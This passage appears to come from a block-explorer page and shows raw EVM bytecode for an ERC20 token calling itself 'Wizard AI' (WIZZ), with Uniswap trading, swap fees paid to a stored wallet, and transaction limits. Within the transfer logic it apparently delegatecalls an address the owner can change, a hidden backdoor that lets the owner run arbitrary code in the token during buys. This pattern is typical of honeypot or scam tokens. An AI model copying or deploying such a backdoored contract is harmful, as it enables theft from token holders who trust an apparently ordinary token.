fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b5984866120bd90919063ffffffff16565b604051611b669190612377565b60405180910390a350505050565b5f838311158290611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb29190612255565b60405180910390fd5b505f8385611bc99190612d3d565b9050809150509392505050565b5f808303611be6575f9050611c47565b5f8284611bf391906126b3565b9050828482611c029190612d9d565b14611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990612e3d565b60405180910390fd5b809150505b92915050565b5f611c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f8082604051602401611ca9919061244e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f80835160208501845af450600192505050919050565b5f80823b90505f8111915050919050565b5f818311611d835782611d85565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611dc457611dc3612e5b565b5b604051908082528060200260200182016040528015611df25781602001602082028036833780820191505090505b50905030815f81518110611e0957611e08612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ead573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed19190612770565b81600181518110611ee557611ee4612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fad959493929190612f6c565b5f604051808303815f87803b158015611fc4575f80fd5b505af1158015611fd6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561205c573d5f803e3d5ffd5b5050565b5f80828461206e9190612c5b565b9050838110156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa9061300e565b60405180910390fd5b8091505092915050565b5f6120fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b5f808311829061214c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121439190612255565b60405180910390fd5b505f838561215a9190612d9d565b9050809150509392505050565b5f80fd5b5f8115159050919050565b61217f8161216b565b8114612189575f80fd5b50565b5f8135905061219a81612176565b92915050565b5f602082840312156121b5576121b4612167565b5b5f6121c28482850161218c565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122025780820151818401526020810190506121e7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612227826121cb565b61223181856121d5565b93506122418185602086016121e5565b61224a8161220d565b840191505092915050565b5f6020820190508181035f83015261226d818461221d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61229e82612275565b9050919050565b6122ae81612294565b81146122b8575f80fd5b50565b5f813590506122c9816122a5565b92915050565b5f819050919050565b6122e1816122cf565b81146122eb575f80fd5b50565b5f813590506122fc816122d8565b92915050565b5f806040838503121561231857612317612167565b5b5f612325858286016122bb565b9250506020612336858286016122ee565b9150509250929050565b6123498161216b565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122cf565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612167565b5b5f6123b4868287016122bb565b93505060206123c5868287016122bb565b92505060406123d6868287016122ee565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612167565b5b5f612436848285016122bb565b91505092915050565b61244881612294565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612167565b5b5f61248a858286016122bb565b925050602061249b858286016122bb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124d96020836121d5565b91506124e4826124a5565b602082019050919050565b5f6020820190508181035f830152612506816124cd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561258f5780860481111561256b5761256a61250d565b5b600185161561257a5780820291505b80810290506125888561253a565b945061254f565b94509492505050565b5f826125a75760019050612662565b816125b4575f9050612662565b81600181146125ca57600281146125d457612603565b6001915050612662565b60ff8411156125e6576125e561250d565b5b8360020a9150848211156125fd576125fc61250d565b5b50612662565b5060208310610133831016604e8410600b84101617156126385782820a9050838111156126335761263261250d565b5b612662565b6126458484846001612546565b9250905081840481111561265c5761265b61250d565b5b81810290505b9392505050565b5f612673826122cf565b915061267e836123e0565b92506126ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612598565b905092915050565b5f6126bd826122cf565b91506126c8836122cf565b92508282026126d6816122cf565b915082820484148315176126ed576126ec61250d565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127286017836121d5565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b5f8151905061276a816122a5565b92915050565b5f6020828403121561278557612784612167565b5b5f6127928482850161275c565b91505092915050565b5f6040820190506127ae5f83018561243f565b6127bb602083018461243f565b9392505050565b5f819050919050565b5f819050919050565b5f6127ee6127e96127e4846127c2565b6127cb565b6122cf565b9050919050565b6127fe816127d4565b82525050565b5f60c0820190506128175f83018961243f565b6128246020830188612368565b61283160408301876127f5565b61283e60608301866127f5565b61284b608083018561243f565b61285860a0830184612368565b979650505050505050565b5f81519050612871816122d8565b92915050565b5f805f6060848603121561288e5761288d612167565b5b5f61289b86828701612863565b93505060206128ac86828701612863565b92505060406128bd86828701612863565b9150509250925092565b5f6040820190506128da5f83018561243f565b6128e76020830184612368565b9392505050565b5f815190506128fc81612176565b92915050565b5f6020828403121561291757612916612167565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129876024836121d5565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a156022836121d5565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa36025836121d5565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b316023836121d5565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bbf6029836121d5565b9150612bca82612b65565b604082019050919050565b5f6020820190508181035f830152612bec81612bb3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c276019836121d5565b9150612c3282612bf3565b602082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b5f612c65826122cf565b9150612c70836122cf565b9250828201905080821115612c8857612c8761250d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cc2601a836121d5565b9150612ccd82612c8e565b602082019050919050565b5f6020820190508181035f830152612cef81612cb6565b9050919050565b5f612d00826122cf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3257612d3161250d565b5b600182019050919050565b5f612d47826122cf565b9150612d52836122cf565b9250828203905081811115612d6a57612d6961250d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612da7826122cf565b9150612db2836122cf565b925082612dc257612dc1612d70565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e276021836121d5565b9150612e3282612dcd565b604082019050919050565b5f6020820190508181035f830152612e5481612e1b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee781612294565b82525050565b5f612ef88383612ede565b60208301905092915050565b5f602082019050919050565b5f612f1a82612eb5565b612f248185612ebf565b9350612f2f83612ecf565b805f5b83811015612f5f578151612f468882612eed565b9750612f5183612f04565b925050600181019050612f32565b5085935050505092915050565b5f60a082019050612f7f5f830188612368565b612f8c60208301876127f5565b8181036040830152612f9e8186612f10565b9050612fad606083018561243f565b612fba6080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ff8601b836121d5565b915061300382612fc4565b602082019050919050565b5f6020820190508181035f83015261302581612fec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220021d6bb0e71d56e290928f70182684859009c349362fe424296c1a8a0d36e57d64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063715018a61161009f578063973c7aa411610063578063973c7aa41461038c578063a9059cbb146103a2578063bf474bed146103de578063c9567bf914610408578063dd62ed3e1461041e5761011e565b8063715018a6146102ce5780637d1db4a5146102e45780638da5cb5b1461030e5780638f9a55c01461033857806395d89b41146103625761011e565b806318160ddd116100e657806318160ddd146101da57806323b872dd14610204578063313ce56714610240578063395bcbf51461026a57806370a08231146102925761011e565b806306935d4f1461012257806306fdde031461014a578063095ea7b3146101745780630faee56f146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610148600480360381019061014391906121a0565b61045a565b005b348015610155575f80fd5b5061015e61050b565b60405161016b9190612255565b60405180910390f35b34801561017f575f80fd5b5061019a60048036038101906101959190612302565b610548565b6040516101a7919061234f565b60405180910390f35b3480156101bb575f80fd5b506101c4610565565b6040516101d19190612377565b60405180910390f35b3480156101e5575f80fd5b506101ee61056b565b6040516101fb9190612377565b60405180910390f35b34801561020f575f80fd5b5061022a60048036038101906102259190612390565b61058d565b604051610237919061234f565b60405180910390f35b34801561024b575f80fd5b50610254610661565b60405161026191906123fb565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b9190612414565b610669565b005b34801561029d575f80fd5b506102b860048036038101906102b39190612414565b610740565b6040516102c59190612377565b60405180910390f35b3480156102d9575f80fd5b506102e2610786565b005b3480156102ef575f80fd5b506102f86108d4565b6040516103059190612377565b60405180910390f35b348015610319575f80fd5b506103226108da565b60405161032f919061244e565b60405180910390f35b348015610343575f80fd5b5061034c610901565b6040516103599190612377565b60405180910390f35b34801561036d575f80fd5b50610376610907565b6040516103839190612255565b60405180910390f35b348015610397575f80fd5b506103a0610944565b005b3480156103ad575f80fd5b506103c860048036038101906103c39190612302565b610a70565b6040516103d5919061234f565b60405180910390f35b3480156103e9575f80fd5b506103f2610a8d565b6040516103ff9190612377565b60405180910390f35b348015610413575f80fd5b5061041c610a93565b005b348015610429575f80fd5b50610444600480360381019061043f9190612467565b610fed565b6040516104519190612377565b60405180910390f35b61046261106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e5906124ef565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600981526020017f57697a6172642041490000000000000000000000000000000000000000000000815250905090565b5f61055b61055461106f565b8484611076565b6001905092915050565b60115481565b5f6009600a61057a9190612669565b625eee8061058891906126b3565b905090565b5f610599848484611239565b610656846105a561106f565b6106518560405180606001604052806028815260200161302d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61060861106f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b749092919063ffffffff16565b611076565b600190509392505050565b5f6009905090565b61067161106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f4906124ef565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61078e61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610811906124ef565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600481526020017f57495a5a00000000000000000000000000000000000000000000000000000000815250905090565b61094c61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cf906124ef565b60405180910390fd5b6009600a6109e69190612669565b625eee806109f491906126b3565b600e819055506009600a610a089190612669565b625eee80610a1691906126b3565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a4b9190612669565b625eee80610a5991906126b3565b604051610a669190612377565b60405180910390a1565b5f610a83610a7c61106f565b8484611239565b6001905092915050565b60105481565b610a9b61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1e906124ef565b60405180910390fd5b60148054906101000a900460ff1615610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c9061273e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c2b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c189190612669565b625eee80610c2691906126b3565b611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb99190612770565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d639190612770565b6040518363ffffffff1660e01b8152600401610d8092919061279b565b6020604051808303815f875af1158015610d9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc09190612770565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e4730610740565b5f80610e516108da565b426040518863ffffffff1660e01b8152600401610e7396959493929190612804565b60606040518083038185885af1158015610e8f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eb49190612877565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f549291906128c7565b6020604051808303815f875af1158015610f70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f949190612902565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122c9190612377565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612b47565b60405180910390fd5b5f8111611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612bd5565b60405180910390fd5b5f6113606108da565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113ce575061139e6108da565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5761140f6064611401600a54600d54116113ee576006546113f2565b6008545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114ba575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114cb57506114ca83611c96565b5b801561151e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561160157600e54821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612c3d565b60405180910390fd5b600f548261157585610740565b61157f9190612c5b565b11156115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b790612cd8565b60405180910390fd5b4360036005546115d09190612c5b565b11156115e9576115df83611d64565b156115e8575f80fd5b5b600d5f8154809291906115fb90612cf6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561170357600f54826116b785610740565b6116c19190612c5b565b1115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612cd8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117cf576117cc60646117be600b54600d54116117ab576007546117af565b6009545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b90505b5f6117d930610740565b9050601460159054906101000a900460ff16158015611844575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561185c5750601460169054906101000a900460ff165b8015611869575060105481115b80156118785750600c54600d54115b156118a95761189161188c82601154611d75565b611d8d565b5f4790505f8111156118a7576118a647611ff8565b5b505b505b601460179054906101000a900460ff16156118c4575f90505b5f8111156119c35761191c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ba9190612377565b60405180910390a35b611a138260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ab6611a6a82846120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b5984866120bd90919063ffffffff16565b604051611b669190612377565b60405180910390a350505050565b5f838311158290611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb29190612255565b60405180910390fd5b505f8385611bc99190612d3d565b9050809150509392505050565b5f808303611be6575f9050611c47565b5f8284611bf391906126b3565b9050828482611c029190612d9d565b14611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3990612e3d565b60405180910390fd5b809150505b92915050565b5f611c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f8082604051602401611ca9919061244e565b6040516020818303038152906040527f207c64fb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f80835160208501845af450600192505050919050565b5f80823b90505f8111915050919050565b5f818311611d835782611d85565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611dc457611dc3612e5b565b5b604051908082528060200260200182016040528015611df25781602001602082028036833780820191505090505b50905030815f81518110611e0957611e08612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ead573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ed19190612770565b81600181518110611ee557611ee4612e88565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fad959493929190612f6c565b5f604051808303815f87803b158015611fc4575f80fd5b505af1158015611fd6573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561205c573d5f803e3d5ffd5b5050565b5f80828461206e9190612c5b565b9050838110156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa9061300e565b60405180910390fd5b8091505092915050565b5f6120fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b5f808311829061214c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121439190612255565b60405180910390fd5b505f838561215a9190612d9d565b9050809150509392505050565b5f80fd5b5f8115159050919050565b61217f8161216b565b8114612189575f80fd5b50565b5f8135905061219a81612176565b92915050565b5f602082840312156121b5576121b4612167565b5b5f6121c28482850161218c565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156122025780820151818401526020810190506121e7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612227826121cb565b61223181856121d5565b93506122418185602086016121e5565b61224a8161220d565b840191505092915050565b5f6020820190508181035f83015261226d818461221d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61229e82612275565b9050919050565b6122ae81612294565b81146122b8575f80fd5b50565b5f813590506122c9816122a5565b92915050565b5f819050919050565b6122e1816122cf565b81146122eb575f80fd5b50565b5f813590506122fc816122d8565b92915050565b5f806040838503121561231857612317612167565b5b5f612325858286016122bb565b9250506020612336858286016122ee565b9150509250929050565b6123498161216b565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122cf565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612167565b5b5f6123b4868287016122bb565b93505060206123c5868287016122bb565b92505060406123d6868287016122ee565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612167565b5b5f612436848285016122bb565b91505092915050565b61244881612294565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612167565b5b5f61248a858286016122bb565b925050602061249b858286016122bb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124d96020836121d5565b91506124e4826124a5565b602082019050919050565b5f6020820190508181035f830152612506816124cd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561258f5780860481111561256b5761256a61250d565b5b600185161561257a5780820291505b80810290506125888561253a565b945061254f565b94509492505050565b5f826125a75760019050612662565b816125b4575f9050612662565b81600181146125ca57600281146125d457612603565b6001915050612662565b60ff8411156125e6576125e561250d565b5b8360020a9150848211156125fd576125fc61250d565b5b50612662565b5060208310610133831016604e8410600b84101617156126385782820a9050838111156126335761263261250d565b5b612662565b6126458484846001612546565b9250905081840481111561265c5761265b61250d565b5b81810290505b9392505050565b5f612673826122cf565b915061267e836123e0565b92506126ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612598565b905092915050565b5f6126bd826122cf565b91506126c8836122cf565b92508282026126d6816122cf565b915082820484148315176126ed576126ec61250d565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127286017836121d5565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b5f8151905061276a816122a5565b92915050565b5f6020828403121561278557612784612167565b5b5f6127928482850161275c565b91505092915050565b5f6040820190506127ae5f83018561243f565b6127bb602083018461243f565b9392505050565b5f819050919050565b5f819050919050565b5f6127ee6127e96127e4846127c2565b6127cb565b6122cf565b9050919050565b6127fe816127d4565b82525050565b5f60c0820190506128175f83018961243f565b6128246020830188612368565b61283160408301876127f5565b61283e60608301866127f5565b61284b608083018561243f565b61285860a0830184612368565b979650505050505050565b5f81519050612871816122d8565b92915050565b5f805f6060848603121561288e5761288d612167565b5b5f61289b86828701612863565b93505060206128ac86828701612863565b92505060406128bd86828701612863565b9150509250925092565b5f6040820190506128da5f83018561243f565b6128e76020830184612368565b9392505050565b5f815190506128fc81612176565b92915050565b5f6020828403121561291757612916612167565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129876024836121d5565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b90509